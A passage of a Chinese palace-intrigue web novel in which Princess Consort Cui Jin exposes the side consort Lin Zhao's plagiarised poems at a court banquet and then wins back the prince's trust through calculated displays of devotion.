众人愣了一瞬。 这词……文采还怪不错的,信王府有王妃这等才华之人,为何还要叫个只会弄虚作假的侧妃打出才名出头? 信王脑子没事吧? 皇后这回的笑容真诚了些:“好孩子,快起来吧。” 崔锦谢恩后,缓缓起身。 对上萧临诧异的眼神,她笑了笑,一副庆幸模样。 萧临本有些沉重愤怒的心情被她冲淡了许多。 能接受丢人不代表愿意丢人,崔锦却愿为了他主动出头,只为维护他的面子……方才也是崔父第一个站在他这边,维护林昭。 他们父女始终把他放在第一位。 晋王皮笑肉不笑地看着他们回了席间,眼神暗沉。 崔锦率先出头,即便比不过《水调歌头》,谁也不会真为此去贬低她一个弱女子,何况她还讨巧的没有延续中秋词,而是祝寿词,文采也不错。 虽然有拍马屁的嫌疑,但只看皇后的表情就知道拍成功了。 齐学士率先道:“王妃此词寓意宏大,气象万千,翰林院可收录之。” 说完,他心头一跳,下意识看向李首辅,见他没出声才放下心。 他不想再脸疼一次。 不少文官笑跟着附和。 先显皇家气象,又喻皇后贤德,连皇后容姿都夸了一嘴,最后的“四海齐瞻坤仪,山河长奉慈恩”堪称点睛之笔。 拍马屁的诗能拍到这份上,还同时兼具文采意象,收录进翰林院不吃亏。 脸色好看了些的永隆帝也不由想起了一个人:“周大儒曾在朕万寿之时作过一首诗,你这首倒颇有他的风范。” 崔锦不好意思地笑了笑:“妾身是周大儒的关门弟子,想是继承师父之风。” 永隆帝目光微讶:“难怪。” 文采斐然,拍马屁拍得浑然天成,师徒一脉相承。 萧临也意外地看向崔锦,他从未听崔锦提起过此事。 但搬出了德高望重的周大儒,晋王党也不得不吞回质疑崔锦造假的话。 萧临也是有意思,一个是胸无点墨,抄袭旁人给自己添光的无耻恶女,一个是不张扬不冒头,却内涵文墨都兼具的大儒之徒,无论怎么对比,都该是后者占尽优势,偏偏萧临宠前者宠得满京皆知。 有不少晋王党目光扫过林昭寡淡的脸,没有了文武双全的光环加成,她那张脸最多算小家碧玉。 萧临是真瞎吧? 希望他能一直瞎。 林昭被他们的讥讽目光刺得恨不能钻进地缝里去,只有死死掐住手才能勉力维持冷淡无事的模样。 她心中恍惚,觉得好像在做梦,又被灯火通明的大殿衬得几欲崩溃。 明明她前脚还在享受追捧的目光,以为百官成她拥趸近在眼前,可后脚就被硬生生被撕下一层脸皮来,所有人看她就像在看什么脏东西一样,极尽鄙夷嫌恶之能事。 她从未受过如此羞辱。 一群忘恩负义的小人,若没有她在前线奋勇杀敌,他们有命坐在锦绣京城高高在上么? 还有崔锦……硬生生踩着她得尽才名,今日她必是被她陷害! 林昭耳廓还带着被羞辱鄙夷的涨红,垂下的眼神却一片怨毒。 如坐针毡地过完了千秋宴,她匆匆便往外走,低着头不想搭理任何人。 外头已是深夜,众人三三两两地走在宫道上。 “林姐姐!”郑含玉快步跟了上来,脸上还有不可置信,“那些诗词真的是你抄的?你连格律平仄都不懂?” 林昭脸色晦暗,冷冷看了她一眼。 “这还用问么,没见人家都不想理你了?”安阳县主嗤笑一声,“亏有些人整日里自诩磊落坦荡,原是越没有什么,越想强调什么啊。” 林昭紧咬牙关,背脊挺直得有些僵硬。 她本就是磊落之人,做事坦荡,那些诗词也是她从现代带来的东西,不属于他们任何人!安阳县主懂什么,被崔锦推出来当枪使的玩意儿罢了! 封建后宅女都是如此愚昧无知! “安阳。”萧临语气微重。 安阳县主忙点头:“不说了不说了,不过表哥你也长点心吧,别到头来连自己宠了个什么东西都不知道,平白丢人现眼。” “胸无点墨都敢说自己惊才绝艳,不会以前在战场上的智计百出也是抄别人的吧?” 林昭脸色骤变,一抹慌乱极快地闪过,被夜色遮掩。 崔锦若有所思地偏头,看了她一眼。 第二十九章 还有穿越者? 一路沉默地回府。 在二门处下车后,林昭立刻上前,紧紧抓住萧临的手:“王爷,我不是……我是被人陷害的!” 萧临脸色冰冷,低头看她:“难道那些诗词不是你抄袭别人的?” “不、我不是有意的……是有人针对我,只要你追查到底,必能找出幕后之人——” “你只需告诉本王,是或不是?” 林昭嗫喏半晌,才回答:“是……但那都是我家中长辈所作,是他们送我的!这不就是我的诗吗!” 她背脊挺直,清冷的脸上一片坦荡,傲骨再度回来。 萧临却闭了闭眼。 “我都是为了王爷啊……”林昭定定看着他,眼眶通红,“我出身不高,初来京城时人人都看低我,我便想,若我文武双全,才比大儒,定然没人敢再轻视我,便用了长辈送我的诗……这些日子看你被朝堂攻讦,我便想为你做些什么……这是我唯一能想到的办法了,若没有贱人诬陷我,今日你便是风头最盛之人啊!” 她思绪混乱,声音颤抖,哽咽至极。 萧临从未见过她这副模样,心软了一分,可想到今日在百官面前丢的人,还有李首辅与齐学士失望的眼神,又冷下了心肠。 林昭盗诗之举……太无耻了。 他声音疲惫,又刺人至极:“偷来的东西,本王嫌脏。” 林昭脸色顿时惨白。 偷? 他怎能这样说她,难道他不了解她的为人吗?她林昭顶天立地,从不弄虚作假,只是……只是有苦衷罢了。 心神恍惚之际,她余光扫过崔锦脸上一闪而过的笑意,瞬间崩溃。 “贱人!是你陷害我!”她冲上前,扬手就要给崔锦一个耳光。 却在半空中被牢牢攥住。 她回头看到脸色阴沉的萧临,怒道:“李首辅怎会那么巧知道那几首诗?甚至及时送给父皇?一定是她买通了我的奴才,知道我今日献诗,偷走了《水调歌头》陷害我!她还故意叫崔尚书来打我的脸,拷问我格律平仄,是这个贱人陷害我啊王爷!” 崔锦面容沉静。 某种角度而言,林昭说得也没错。 诗书是她给李首辅的,署名无名氏,还特意注明有人抄袭无名氏的诗,求李首辅为其还个公道。 以李首辅的作风,必会第一时间进宫,在永隆帝面前过了明路。 然后便是林昭入套。 格律平仄也是她叫崔父提的,虽然仅入府一个多月,但足够她摸清林昭的底细了。 而崔父虽然对她这个女儿没多少喜欢,却也不会容许林昭压过她的风头,更何况还有林昭引诱崔儒月,却叫后者身败名裂在后。 崔父能忍才怪。 见林昭看过来,她背对萧临,又给了她一个笑容。 林昭被刺激得一脚踹来:“贱人!” “王妃小心——” 如夏快速拉过崔锦,避开林昭的脚。 崔锦跌入如夏怀里,不知怎的脸色发白。 “你闹够了没有!”萧临甩开林昭的手,后者站立不稳,直接被甩去了地上。 “今日一切都是你咎由自取,你怎敢怨怪王妃?” “王妃从进门起便对你百般容忍,今日崔尚书更明目张胆偏帮于你,谁能想到你连最简单的格律都不懂?”萧临声音极冷,“王妃前脚为本王拉拢来李首辅,你后脚便得罪了他,叫整个信王府在京城百官面前丢尽了脸!反是王妃力挽狂澜,为皇后作祝寿词,收拾你的烂摊子,她从头到尾没说过你一句不好,你却只会恩将仇报,辱骂责打她……林昭,谁给你的资格,敢责打主母?” 萧临从未连名带姓叫过她,这叫林昭心中恐慌不已,又愤怒他用“主母”这个词羞辱她! “王爷——” “侧妃以下犯上,不敬王妃,禁足珠玉院,无令不得出。” 林昭不可置信地看着他,眼中满是受伤。 萧临眉头微动,狠心偏过头,拉着崔锦转身便走。 “啊——”崔锦踉跄一下。 萧临这才察觉她似乎伤到了脚,低声询问几句后,便俯身打横抱起她,大步离开。 夜色中,林昭脸色晦暗阴沉。 良久后,侍卫为难地道:“侧妃,王爷有令,请您回珠玉院……您请吧。” 林昭顿了半晌,终于恢复了理智。 今日她被所有人鄙夷的目光凌迟,当众处刑,回来又被萧临和崔锦刺激,竟一时失了智。 崔锦今日踩着她立了大功,她不该与她正面起冲突的。 踉跄着回去后,她低声吩咐秋纹:“给我盯死了正院……还有崔府。” 大周除她之外,一定还有穿越者。 且此人一定与崔锦有牵扯! 这个认知叫她心慌意乱,因为她能依靠的只有现代的一些知识,若有人与她一样…… 不,此人未必会成心腹大患。 只看他只敢躲在暗处,便知只是宵小之辈,以她信王侧妃的高贵身份,只需找出他,就跟捏死一只蚂蚁一样简单。 现在最重要的,是挽回萧临的心。 甚至还有圣心。 否则萧临没了继位的机会,那她该怎么办? “蠢货!”她冷声骂崔锦,“只看蝇头小利,全然不顾大局,为了斗倒我竟不惜将王爷拖下水,愚不可及!今日之后,信王府的日子只会更艰难,她以为自己的王妃之位坐得稳么!” 再想远一点……若叫晋王登基,崔锦以为信王府会有好日子过? 现在这种时候,不想着如何为萧临增添筹码,反而拖尽后退,真真是鼠目寸光! “王爷竟为了这种浅薄无知的封建女责骂我……”她心中觉得讽刺,又极为不甘,“除了没什么用的家世和那副狐媚容貌,她哪点比得过我?” 她曾为国为民上战场,百战而归,她崔锦能躲在温柔乡里勾心斗角,多亏了她林昭守住前线! 她有什么资格算计她? 恩将仇报的不是她林昭,而是崔锦那个贱人! 第三十章 承诺 第三十章 萧临抱着崔锦一路回了正院,小心翼翼地将她放在了软榻上。 “哪只脚伤了?”他低头瞧着。 崔锦蹙眉抬起右脚,如春忙拿着药膏过来,正要蹲下给她上药,萧临却已伸手接过,将崔锦的脚轻搁在自己膝上,褪去鞋袜仔细查看。 崔锦耳根微红,想抽回脚:“没什么大碍……” 萧临掌心微微用力,扣住她纤细的脚踝:“别动。” 他仔细看了看,确认崔锦只是撞得脚腕微肿,并没有扭到,这才没叫人去请太医。 他拿了药膏,亲手为她上药。 指尖刚碰到伤处,崔锦就下意识颤了一下。 “疼?”萧临说着,手下放轻了力道,近乎轻柔地为她擦着药。 崔锦默不作声地打量着他的侧脸。 残存一丝从晚宴上带回来的冰冷,还有几分郁气,或许还有对林昭失望又恨铁不成钢的伤心。 萧临上完药后,抬头就对上她担忧的眼神,心下一暖。 “今夜……要多谢你,从前本王竟不知你是周大儒的关门弟子。” 崔锦有些不好意思:“妾身资质平庸,未能习得师父三分真传,哪敢妄自张扬?再说有侧妃珠玉在前,妾身……”她忽地顿住话头,这才发现自己说错话了。 她小心地看了眼萧临,见他没有生气,才低声道:“而且妾身并未帮到王爷什么……” 萧临心中五味杂陈。 他下意识又将林昭和崔锦对比起来。 一个胸无点墨却欺世盗名,一个才华满腹却谦逊自持。 明明有周大儒这样的靠山,却从不炫耀,甚至在他最狼狈的时刻,仍不忘维护他的体面。 “你怎会没帮到本王?”萧临温声道,“若非你献词,本王与林昭必会成满朝笑柄。” 崔锦眼睛一亮:“只要能帮到王爷就好。” 她脸颊微红,仿佛带着些不好意思,又很是愉悦,在烛火的映照下更显容色姝丽。 萧临因为晚宴上的事,本没心思风花雪月,未想崔锦却忽然靠近,环住他的脖颈,覆上他的唇,轻轻一吻。 “王爷不要难过,今夜只是些小风波,我们还有机会翻盘。”她头一次主动,有些羞涩,但想安慰他的心思占据了上风,小声而坚定地道,“无论前方如何,我都会与王爷一起走下去,我会永远陪在王爷身边。” 永远? 萧临听到这话,心中先是轻嘲,可对上崔锦坚定执拗的眼神,又很想相信。 从没有人如此坚定的选择过他。 崔锦眼睫微颤,紧紧环住他,又亲了一下。 这回她再退开时,后脑忽然被扣住,骤然加深了这个吻。 如春等人不知何时已经悄悄退了出去,寂静的屋内很快便多了几分暧昧。 崔锦仰头承受着狂风骤雨般的亲吻,指尖无力地抓着他衣襟,脸颊越来越红。 意乱情迷间,她看到了萧临的神色。 既有难以自抑的沉迷,又含着几分失意颓唐的发泄。 直到脚腕上的手渐渐向上滑去,崔锦才轻吸一口气。 在萧临抬头时,她眸光潋滟,含着水光,软声道:“疼……” 萧临蓦然回神,这才想起她还有伤。 可看着她眼波潋滟,双颊绯红的模样,他喉结滚动一瞬,声音喑哑:“别怕……我有分寸。” 话音未落,他便打横抱起她,大步走向床榻。 床幔渐渐落下,一件又一件衣裳散落在地上,盖住一室春光。 翌日,崔锦是被屋内的动静吵醒的。 见她迷迷糊糊睁开眼,正穿衣的萧临坐去床边,轻摸了摸她的脸:“吵醒你了?” 崔锦困得没精神,直到萧临忍不住在她唇边落下一吻,才蓦然清醒过来。 她看着萧临,脸色渐渐有些发白。 “怎么了?”萧临问。 崔锦沉默半晌,才低声道:“王爷是因为母妃的命令,才……留宿正院的么?” 萧临一愣。 崔锦垂眸道:“妾身不是什么都不懂,王爷若要做戏……不必做到这种地步,妾身会当真的。” 萧临微皱起眉,思绪翻涌。 先前他的确是在淑妃的半强迫下留宿正院,但半月前林昭写诗扬名,淑妃便没再过问王府中事,他自然顺理成章地去陪林昭了,对崔锦只是偶尔去看一回,给份脸面。 而昨夜林昭名声尽毁,犯下大错,他又回了正院……这一切落在崔锦眼里,的确像逢场作戏。 可昨夜……明明是崔锦先亲他的! 怎么还倒打一耙? 他颇有些冤枉地问出口,崔锦只是无辜说道:“我本就喜欢王爷,你对我那么好……又是孤男寡女,我哪做得了柳下惠?” 萧临差点气笑:“在你心里,本王是那坐怀不乱的柳下惠不成?” 崔锦神色迷茫。 萧临忍不住掐了掐她脸,声音缓和下来:“你痴情专一,又是本王明媒正娶回来的发妻,你怎知本王对你便没有真心?” 崔锦拂开他的手,心中波澜不惊。 真心? 说是色迷心窍,又被崔氏和谢氏,甚至周大儒的助力迷了眼倒还更可信些。 但面上,她眼中闪过一抹动摇,又渐渐亮起,有些不可置信。 萧临声音温柔:“从前偏宠林昭的确是本王的错,以后本王会给你足够的宠爱和脸面,叫你站稳脚跟,林昭……她若对你再有不敬,你只管罚便是。” 崔锦愣了许久,又定定注视着他。 直到萧临笑意渐明,她才猛地扑进他怀里,脸上满是欢喜,又含着激动。 萧临被她感染,也笑了起来,直到出门时脸上还残存笑意。 这叫不少等着看他失意颓废的人大跌眼镜。 “果然,还是刀子扎在自己身上最疼啊……林侧妃这就失宠了?”正院,如春再度感叹。 崔锦懒洋洋躺在软榻上:“也有好了伤疤忘了疼的,现在他气林昭让自己颜面尽失,成了笑话,可当他缓过劲儿来,林昭便也能起来了。” 如春面露思索:“所以您昨夜坚持没圆房?” 昨夜那么大动静,直闹到后半夜,她以为都成了,结果一大早进门,衣裳满地,床榻凌乱,崔锦身上的痕迹更是不能看……可偏偏就是没成。 要不是崔锦面无异样,她真要以为萧临不行了。 崔锦眼神微动,也想起昨夜的旖旎。 萧临……身体真好啊。 “不能再拖了,得尽快圆房。”她低喃,“叫内应给珠玉院递个消息,再添一把火……” 萧临是王八成精,能忍,但她忍不了了。 第三十一章 私会? 崔锦脚上的伤睡了一夜便痊愈了,但还是待在屋里养了养。 她处置了这半月来因为林昭复宠而跟风踩正院的下人们后,才关注了一下外头的风向。 千秋宴上的事已经迅速传遍京城。 林昭抄袭板上钉钉,李阁老更是直接将那本诗书装订成册,送了不少同僚好友。 诗书传出去后,众人有多震惊无名氏的才华,就有多嫌恶林昭的盗诗行为。 尤其在举京城权贵之力都找不到无名氏时,便传出他是被林昭盗诗的行为伤到,就此云隐,还有人说无名氏早已被林昭灭口。 不少文官都信了这些猜测,对林昭深恶痛绝——如此大才,若能入仕,或是入书院培养人才,都对大周极有裨益。 却都被林昭这个无耻之女毁了个干净! 林昭几乎被整个文官集团纳为拒绝往来户,甚至连萧临的党羽都对林昭很不满,连带着影响了他们的家眷,往日曾与林昭交好的贵女多数都断了往来,郑含玉更直接被承恩公府送去了郊外庵堂。 但在民间,林昭还算毁誉参半。 得益于戏楼茶馆这几年接连不断的洗脑,百姓虽不齿于林昭欺世盗名之举,但也有不少人感激她在前线的付出,为她辩驳。 ——此事往小了说,也不过就是一个二十出头的姑娘虚荣心作祟罢了。 对此,崔锦不置可否。 “其实以林侧妃在千秋宴上的所作所为,早能以欺君之罪砍了她,没想到皇上竟放过了她。”如夏有些不忿。 如秋稳重些,看得更深:“她到底曾在前线出过力,又救过王爷的命,王爷还对她一往情深……无论是出于民心和大局,还是与王爷的父子关系,皇上都不会要了她的命。” 甚至因为对萧临抱有期望,都不会当众重罚林昭,伤了萧临已经快丢光的脸。 如夏一愣:“这么说,王爷的处境还没到外头传的那么艰难的地步?” “自然,不过也要看他自己拎不拎得清了。” “他若拎不清,今早也不会放权给我。”崔锦说完,又问,“宣平侯府的贺礼备好了么?” 如春点头:“按您列的礼单,已经备好了。” 宣平侯府三姑娘是崔锦的手帕交,后日出嫁,明日崔锦要去添妆。 所以晚间萧临来正院时,便吃了闭门羹。 他还有些回不过神,崔锦要出门,与他留宿正院有什么关系? 如春微微低头:“王妃今日精神不好,担心夜间睡不安稳,明日不好出门,请王爷……容谅。” 萧临眉头微皱。 昨夜崔锦直喊疼,他虽没做到最后,但也没委屈自己,似乎是有些过分……但这不是崔锦将他拒之门外的理由。 早上才给了她承诺,晚上就恃宠生娇,等他来哄? 他从前是哄过林昭,但不代表愿意哄旁人。 崔锦太不知趣,也僭越了。 他眉眼微沉,拂袖离开,连话都没再说一句。 如春见他周身气息都阴沉了不少,心中惴惴不安,忙进屋回禀:“王妃,王爷好像真生气了,您还没得到他的心,现在欲擒故纵是不是……太早了?” “谁说我欲擒故纵?”崔锦莫名其妙地看她一眼。 “那您这是……” “就是不想跟他睡一起。”崔锦有些郁闷地喝着降火茶。 她又不叫崔下惠。 之前强忍是因为时机没到,要增进感情,但今晚不用了,她要睡个好觉。 翌日,因为添妆是在下午,她用过午膳后才慢悠悠出门。 宣平侯府一片热闹,但在看到崔锦后,众人不约而同有些尴尬,之前千秋宴,在场绝大部分人都在,自然知道信王府丢了多大的人。 萧临因此在朝中被御史不断弹劾识人不清,权贵坊间也不乏嘲讽嗤笑之人。 但见崔锦面无异样,众人也很快回过神,言笑晏晏。 等崔锦添完妆,与宣平侯府三姑娘聊过后,天色已经不早,她告辞离开,叫马车先拐去了云来布庄。 她只带如夏进了布庄,正要跟着伙计上楼,便听如夏在耳边道:“王妃,沈之珩来了。” 崔锦微微偏头。 远处的沈之珩也看到了她,略一犹豫后,竟过来了。 崔锦眉头微蹙,对伙计道:“不挑别的了,你直接拿三匹玄色云锦给我。” 伙计虽有些失望只能做成三匹云锦生意,但还是手脚麻利地拿来了云锦给如夏。 “崔锦。”沈之珩快步上前。 “沈举人自重,你该尊称我王妃。” “王妃?”沈之珩眼神微讽,“一个有名无实,受尽冷落的王妃?” 崔锦脸色冷淡,理都没理他,抬步离开。 此时天色已渐渐沉下,布庄外人影稀少,只有寥寥几个步履匆匆的路人和信王府的马车。 沈之珩追了上来,沉声开口:“信王府声名狼藉,受尽耻笑,你这个王妃又能有几分尊贵?即便信王还没倒,你以为他会喜欢你这种心机深沉,木讷无趣的女人么?你费尽心机从儒月手上抢来这桩婚事,没想到会落得如此下场吧?这就是你贪慕虚荣的报应!” “不是你叫崔儒月换婚的么?”崔锦声音冷淡。 沈之珩却眉间一松:“你吃醋了?” 见崔锦脸色微冷,他反而语气缓和了些:“我喜欢的一直是儒月,是你非要插足我们,险些害得我们错失彼此,但如今我也不愿再计较,你现在这般处境,应当知晓了谁才是值得托付的人……” 他深深看了崔锦一眼:“若你愿意赎罪,再向儒月磕头认错,等信王落败,我会纳你入府……虽不能给你如儒月一般的宠爱,但每月总有雨露。” 崔锦看着他仿若恩赐的表情,胃里忽然一阵翻涌。 她是故意来布庄的,也是故意算计了沈之珩来,但还是被恶心到了。 “滚!” 她转身要走,沈之珩立刻拽紧她手腕,冷声开口:“崔锦,拿乔过了,只会弄巧成拙,我只给你最后一次留在我身边的机会!” “你要给谁机会?” 随着这道声音落下,萧临大步走来。 在看到沈之珩握紧崔锦的手腕,他本就阴沉的脸色骤冷,抬手一记飞镖便穿过沈之珩的手臂,钉入后方墙上。 “啊——” 第三十二章 本王打扰你们私会了? 只是眨眼之间,沈之珩的手臂便飞溅出血,染红上了他骤然惨白的脸。 剧痛如潮水般席卷全身,疼得他踉跄几步,险些站立不稳。 崔锦吓了一跳,转头就见萧临大步走来。 他脸色阴沉如墨,眼神如刀般刮过沈之珩,周身杀气翻涌。 “王爷……” 她话没说完,就被萧临冷眼扫过,吓得想退一步时却被牢牢扣住手腕,力道大的几乎要捏碎她的骨头。 “本王打扰你们私会了?”他声音森寒,字字如冰。 崔锦脸色顿时煞白,不可置信地看着他。 未等她解释,萧临另一只手抬起,内力如劲风般直击沈之珩,打得他重重飞起,摔去后方墙上,猛地吐出一大口血。 “砰——” 沈之珩只觉五脏六腑都仿佛移位,猛咳了好几声,连呼吸都带着血腥气:“信王……咳,不会是恼羞成怒了吧?” 满身剧痛叫他没了被发现的惊慌,反而溢满恶意:“崔家两女,一个曾是你未婚妻,一个嫁给了你,可她们却只钟情于我……你身边这位明媒正娶的王妃,更是恨不得为奴为婢留在我身边。” “沈之珩,你敢污蔑我!”崔锦脸色发白,眼中恨意翻涌。 沈之珩却没回答,只是直勾勾盯着萧临,一边吐血一边笑:“可怜啊……你心上人欺世盗名,是个不知廉耻的破烂货色,连正妻都心有所属,宁做举人婢,不为王妃尊……” 他朗声长笑,而被他盯着的萧临眼中有如狂风骤雨,看他的眼神像在看死人。 “啪——” 一记耳光狠狠落在了他脸上。 萧临目光微转,见如夏收回手,眼神便落在了崔锦身上,正看到她恨不得将沈之珩千刀万剐的眼神。 “为奴为婢留在你身边?”崔锦声音冰冷,气极反笑,“若真有这样一日,我必是要利用你挖出晋王的把柄,送你们这群腌臜东西下地狱!” 听到晋王的名字,沈之珩眼神微变。 萧临脸色也沉了些。 崔锦反握住他的手,声音带着股强行压抑的沉静:“王爷,我们回吧。” 萧临没说话,阴沉的眼神扫过沈之珩,转身拽着她上了马车。 崔锦被拽得踉跄一步。 沈之珩还想说什么,却又猛咳了一口血,眼睁睁看着马车远去。 他心中涌起一股莫名的恐慌——崔锦方才看萧临的眼神竟满是爱意,就像前世看他……不,她看他时,远没有对萧临的直白炙热。 ……这怎么可能?! 他死死攥拳,用力间使得受伤的手臂血流如注。 …… 马车上,气氛罕见的沉重压抑。 崔锦脸色发白,试图抽回手,却反被攥得更紧,疼得她下意识蹙眉。 萧临始终盯着她,见状眸色骤沉:“想回去找沈之珩?” 崔锦不可置信地看着他:“我找他做什么?王爷莫非也信了他那挑拨离间的鬼话?” “你与他定亲半年,同居崔府,若有情愫实属正常。” “荒唐!”崔锦眼眶通红,声音发颤,“我喜欢谁,王爷难道不知?三年前我便已对你情根深种,心中怎还会有他沈之珩立足之地?” 往日她剖白内心表达爱意,萧临总会心软三分,这回却无动于衷。 “你若不喜欢他,今日怎会打着添妆的旗号与他私会?云来布庄是晋王的产业,你们在此私会,不就是防着本王查探?方才若本王晚来一步……他碰的便不止是手腕了吧?”萧临手下摩挲着沈之珩碰过的地方,心中的戾气铺天盖地,几乎想要烧净了沈之珩。 “难为你这些日子与本王演戏了。”他声音冰寒阴沉,“你倒真是个痴情人,情愿为成全沈之珩娶到心上人,甘心嫁给本王……崔锦,你说钟情本王时,心里究竟在想谁?” 他紧紧掐住崔锦的下巴,迫人的阴鸷顷刻间逼近了她。 崔锦从未见过这样的萧临。 或许这才是真正的他,狠戾,多疑,不容背叛。 她眼泪断了线般直往下掉,想说什么,刚开口却被手腕与下巴上的力道掐得失声。 “昨夜不许本王进房,是因为今日要见他?”萧临声音冷得骇人,“觉得拖不下去了,想将处子之身留给沈之珩,免得被本王捷足先登?对了……你出门这么久,或许已经成事了吧。” 话音未落,崔锦扬手欲打,却被他轻易制住。 四目相对,她眼中的受伤让萧临蓦然一滞。 “……你竟如此看我?” 崔锦声音沙哑:“昨夜不许你进房,是因我担心身子受不住……今日我未时末出门,在宣平侯府待了一个多时辰,大约酉时三刻出宣平侯府,在云来布庄逗留不到一盏茶时间,沈之珩找我是想利用我窃取您的机密,被我拒绝后才纠缠不休……还有云锦,这是我半个月前叫管家去订的,王爷一问便知,今日我出门的所有时间你也可与马夫比对,绝无虚言。” 她抬起泪眼:“我曾答应要给王爷做外衣,云锦贵重,只有云来布庄售卖。” 萧临愣住了。 崔锦挽起衣袖,露出手臂上鲜红的守宫砂,眼泪却砸在上面,晕开一片湿痕。 她忙偏过头,胡乱抹了把眼泪。 “我钟情王爷三年,但碍于名声礼教,从不敢将爱意宣之于口……我的确没有证据能证明我对王爷的心,也解释不清王爷为何认定我与沈之珩有私……” 说到这里,她声音近乎哽咽,却佯装平静道:“回府后,请王爷给我一纸休书,宫里和崔家那边,您大可直说,我绝不辩解……无论是被沉塘还是送往庵堂了此残生,我都认。” 萧临唇畔微动,思绪杂乱地不知该从哪句开始接话。 沉默半晌,他终于看到了马车角落那几匹玄色云锦。 “你去云来布庄……”他嗓音微哑,“是为了给本王做衣裳?” 那句他自己都快忘了的戏言,她却牢记在心。 第三十三章 把她叫醒再叫她多睡会儿? 细想崔锦的话,每一句都经得起推敲。 无论是宣平侯府还是云来布庄,崔锦逗留的时间、见过什么人,一查便知。 他却被一封信乱了方寸,匆匆赶来时正见沈之珩纠缠崔锦,下意识便信了信中的话,甚至没有给她解释的机会就判了刑。 的确……有失公允。 见崔锦疲惫地闭眼,眼泪却接连不断地从眼角滑落,整个人近乎绝望,他心中不由泛起一丝心疼。 顿了顿,他道:“是本王误会你了。” 他没再提起旁的,崔锦自也察觉到了他的心思。 他还有三分猜疑。 还没坐上龙椅呢,皇帝病就先犯了。 她睁开眼,定定注视着他,抬起三指,声音沙哑道:“崔锦在此起誓,今生唯爱萧临一人,生死相依,福祸与共,若有违背,身死魂消,祖先泉下不宁,全族无后而终!” 萧临瞳孔震颤。 这个誓言……太毒了。 身死魂消也就罢了,她竟敢以崔氏全族为赌。 他饱受绝嗣之苦,最清楚香火断绝的痛苦绝望,他也清楚,崔锦对家族至亲的感情有多深。 萧临彻底信了。 心中还有三分他自己都没觉察到的……狂热与悸动。 他紧紧握住崔锦的手,声音不自觉轻柔:“本王说了信你,你又何必发此毒誓。” 崔锦抬头,红肿的眼眶也不掩清亮:“我希望我与王爷之间没有任何嫌隙猜忌,这也是我对王爷的承诺。” “我永远深爱王爷,至死不渝,即便当真有情淡之日……那便叫我魂飞魄散吧。” 萧临被她眼中的决然震住。 崔锦已低头黯然垂泪,心中一片坦然。 身死魂消? 重活一世是她白嫖来的,能多活一天都是她赚,死了也没什么可惜,祖宗和崔氏就更不用在意。 能生出崔父和崔儒月,还有她,泉下不安是他们应得的报应。 祖上继承下来的低劣品性,无后而终也算给他们积阴德了。 见萧临近乎小心翼翼地哄着她,她索性哭得更凶,像是要宣泄尽所有的委屈一样,哭得快要昏厥。 以至于下马车时,她只能倒在萧临怀里,被他抱着回去。 廊下探头探脑的一个侍女见状,皱起了眉。 崔锦哭得伤心,应该是私会事发了,可为何王爷还会对她如此温柔? 她百思不解,急忙转身,往珠玉院的方向跑去。 崔锦回了正院,终于哭够了,哽咽地问:“是谁告诉王爷我与沈之珩私会的?” “本王只收到一封信,并没有署名。” 萧临抬步进门,如春几人刚要跟着进去,却被他内力一震,房门怦然关闭。 “今日我见沈之珩似乎是有目的的去布庄……是不是有人告诉他我会来?” 崔锦还在不着痕迹地上眼药,却忽地被压在榻上。 萧临近乎急迫地覆上她的唇,亲得她喘不过气后,又在她耳后颈间流连,良久才气息粗重地道:“那些不急……我们先做正事。” 崔锦还没来得及说话,唇就又被覆住,吻得又急又凶,腰带也不知何时解开的,衣襟四下散落。 今夜的萧临异乎寻常的疯,全没了往日装出来的温柔。 有人愿为他赌上全族命运,有人愿为他倾尽所有,永远坚定选择他。 这个认知叫他彻底失控。 外面,如春几人先是面面相觑,等听到里头暧昧的声响后,不约而同地面红耳赤。 如春尤其恍惚。 原来之前她听到的那些动静……还算是克制的吗? 一夜后,如春抬头看了眼天色,再不起就耽误上朝时间了。 在庆喜的催促下,她小心地敲了敲门:“王爷,王妃,到时辰了。” 片刻后,里面的萧临才应了声。 如春带人进去伺候,便见萧临已经神清气爽地穿衣,崔锦还懒懒躺在床上,连眼睛都睁不开。 几个侍女瞧见床榻上的凌乱痕迹,脸俱都红了。 萧临收拾妥当后,坐去床边摸了摸她的脸,声音前所未有的温柔:“你多睡会,本王下朝再来看你。” 崔锦睁开困倦的双眼,努力压下怒气。 把她叫醒再叫她多睡会儿? 有病。 见萧临要走,她想起什么:“昨日传信的人……” “本王会叫人去查。” 想到那封信上言之凿凿道崔锦与沈之珩私会,甚至颇为露骨的暗示,萧临冷下眼眸。 崔锦又复述了一遍昨夜的话:“沈之珩好像也是被人引去的,王爷或许可以从他身上查起……” 萧临拇指摩挲上她双唇,堵住了接下来的话。 他不想再从崔锦嘴里听到这个名字。 崔锦眉梢微挑,忽地勾了勾他的手:“王爷昨日……是吃醋了吗?” 萧临微顿。 崔锦是他的人,是个男人就有占有欲,即使他昨日看到那一幕过于愤怒,以致近乎失智,也不过是胜负心作祟。 但此刻,他只含笑承认:“若不在意你,本王何必吃醋?” 崔锦也笑。 没关系,洗脑多了,他会信自己爱上了她的。 萧临走出正院时,极为餍足,眼角眉梢都带着轻松,这叫有心人看到又是一番猜测。 庆喜低声禀报:“王爷,暗一已去查了昨日的细节,与王妃所说一致,管家也说云来布庄约定好取云锦的时间是昨日下午。” “此事还有谁知道?” “只有管家和账房,还有绣房的苏嬷嬷知晓。” “查清楚他们近日都与谁来往过。” 崔锦的行踪一定是从府里泄露出去的,还有那封准确无误送到他手上的信…… 萧临眼眸微眯。 正院屋里,崔锦又睡了一个多时辰才起身。 如春早在旁候着,见状忙服侍她起身。 看到那一身痕迹时,她咂舌:“您受苦了……”真跟崔锦之前说的一样,比狗还疯。 “不苦。”崔锦唇边浅笑,“好孕丹的煎熬总算解了不少。” 她昨夜过得很愉快。 如春也笑了:“也是,说不定等一月后就能听到您的喜讯了。” “不急。”崔锦抚了抚小腹,吞下了避孕丸,“圆房宜晚不宜早,子嗣亦然。” 太容易得到的怎会珍惜? 等萧临被攻讦绝嗣最艰难之时,给他最大的惊喜,方才显得这孩子弥足珍贵,叫萧临与淑妃从他未降生起就十足期待。 她要为她的孩儿从出生就铺好一条锦绣之路。 想到崔父说的生产必双胎,崔锦唇边笑意更深。 “幸好您选对了。”如春低声道,“昨日沈举人看您的眼神并非全然无意,可见那同心丹未必靠谱。” 崔锦若有所思:“神医的药绝不会出错。” 依她对沈之珩的了解,昨日说要纳她入府的话有七分可信,可他怎会背叛崔儒月? 第三十四章 打一巴掌给颗枣 